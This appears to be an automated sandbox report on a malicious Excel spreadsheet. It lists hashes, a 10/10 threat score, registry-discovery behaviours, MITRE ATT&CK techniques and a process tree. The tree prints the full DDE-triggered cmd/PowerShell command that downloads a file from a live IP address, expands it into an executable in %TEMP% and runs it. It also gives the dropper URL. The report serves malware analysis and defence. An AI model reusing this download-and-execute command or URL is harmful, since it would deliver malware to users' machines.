2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d

General

Target

2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d.xls
Size

126KB
MD5

d89dfeaadf6cdf2b7ea3435644180b3a
SHA1

bc9767d6217daba21cfdf8ed7e8dba01742bf196
SHA256

2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d
SHA512

928a0d467b79ba834f031e2a220c75e56017f7df7dba57be4a9ce274881f422683d70fdf39053c5f1496d1c59bb084fe6e8c0984d70b7740be49a1df631a560e
SSDEEP

1536:KdKcpx2Sk/8E3NEN1vn5jG685uUDf44fAg:8AxdEzvn5jb8cU

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://85.143.166.190/asdvx/fghs.php

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2944	3056	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 2996 powershell.exe

flow	pid	process
2	2996	powershell.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	EXCEL.EXE

Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3056 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2996 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2996 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

3056 EXCEL.EXE
3056 EXCEL.EXE
3056 EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

pid	process
3056	EXCEL.EXE

pid	process
2996	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2996	powershell.exe

pid	process
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exe

description	pid	process	target process
PID 3056 wrote to memory of 2944	3056	EXCEL.EXE	cmd.exe
PID 3056 wrote to memory of 2944	3056	EXCEL.EXE	cmd.exe
PID 3056 wrote to memory of 2944	3056	EXCEL.EXE	cmd.exe
PID 3056 wrote to memory of 2944	3056	EXCEL.EXE	cmd.exe
PID 2944 wrote to memory of 2996	2944	cmd.exe	powershell.exe
PID 2944 wrote to memory of 2996	2944	cmd.exe	powershell.exe
PID 2944 wrote to memory of 2996	2944	cmd.exe	powershell.exe
PID 2944 wrote to memory of 2996	2944	cmd.exe	powershell.exe
PID 2996 wrote to memory of 2600	2996	powershell.exe	expand.exe
PID 2996 wrote to memory of 2600	2996	powershell.exe	expand.exe
PID 2996 wrote to memory of 2600	2996	powershell.exe	expand.exe
PID 2996 wrote to memory of 2600	2996	powershell.exe	expand.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d.xls
1⤵
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3056

C:\Windows\SysWOW64\cmd.exe
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.190/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2944

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.190/asdvx/fghs.php','C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.cab'); expand C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.cab C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.exe; start C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.exe;
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2996

C:\Windows\SysWOW64\expand.exe
"C:\Windows\system32\expand.exe" C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.cab C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.exe
4⤵
PID:2600

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/3056-1-0x000000007205D000-0x0000000072068000-memory.dmp

Filesize
44KB

Download
memory/3056-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/3056-2-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-3-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-18-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-17-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-15-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-14-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-12-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-11-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-10-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-9-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-8-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-7-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-6-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-5-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-4-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-13-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-26-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-27-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-25-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-24-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-23-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-22-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-21-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-19-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-30-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-31-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-32-0x000000007205D000-0x0000000072068000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads